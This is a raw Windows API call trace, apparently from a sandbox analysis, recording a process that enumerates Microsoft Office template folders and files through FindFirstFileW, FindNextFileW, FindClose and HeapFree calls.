	[0257.594] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1
	[0257.594] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.595] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.595] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0257.595] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.595] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0257.595] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0257.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.595] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.595] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.595] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.595] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1
	[0257.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.596] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.596] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1
	[0257.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.597] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.597] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1
	[0257.597] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.598] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1
	[0257.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.599] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.599] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1
	[0257.599] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.600] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.600] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1
	[0257.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.600] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.600] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1
	[0257.600] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.600] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.600] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0
	[0257.600] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.600] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.600] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0257.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.602] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.602] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1
	[0257.602] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.603] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.603] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1
	[0257.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.603] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.603] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0257.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.604] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.604] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1
	[0257.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.604] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.604] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1
	[0257.604] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.604] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.604] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0257.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.604] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.604] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1
	[0257.605] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.605] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.605] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0257.605] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
